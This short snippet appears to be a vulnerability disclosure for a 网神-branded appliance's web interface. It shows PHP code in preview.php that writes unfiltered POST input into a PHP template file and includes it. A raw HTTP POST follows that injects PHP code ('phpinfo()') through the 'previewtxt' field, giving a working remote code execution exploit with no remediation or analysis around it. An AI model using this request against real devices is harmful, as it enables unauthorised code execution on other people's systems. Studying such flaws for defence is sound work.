if(isset($_POST[‘previewtxt‘]))
	{
		$index = $_POST[‘previewtxt‘];
		$index = str_replace("&lt;","<",$index);
		$index = str_replace("&gt;",">",$index);
		$index = stripslashes($index);
		
		$fp = fopen("/usr/hddocs/nsg/template/___index.php","w");
		fwrite($fp,$index);
		fclose($fp);
		require_once("/usr/hddocs/nsg/head_index.php");
		require_once("/usr/hddocs/nsg/template/___index.php");
	}

网神
POST /preview.php HTTP/1.1
Host: **.**.**.**:8443
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=8b7bf4198d6bccbe7d68fedf3f8287cc
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

previewtxt=<?php phpinfo();?>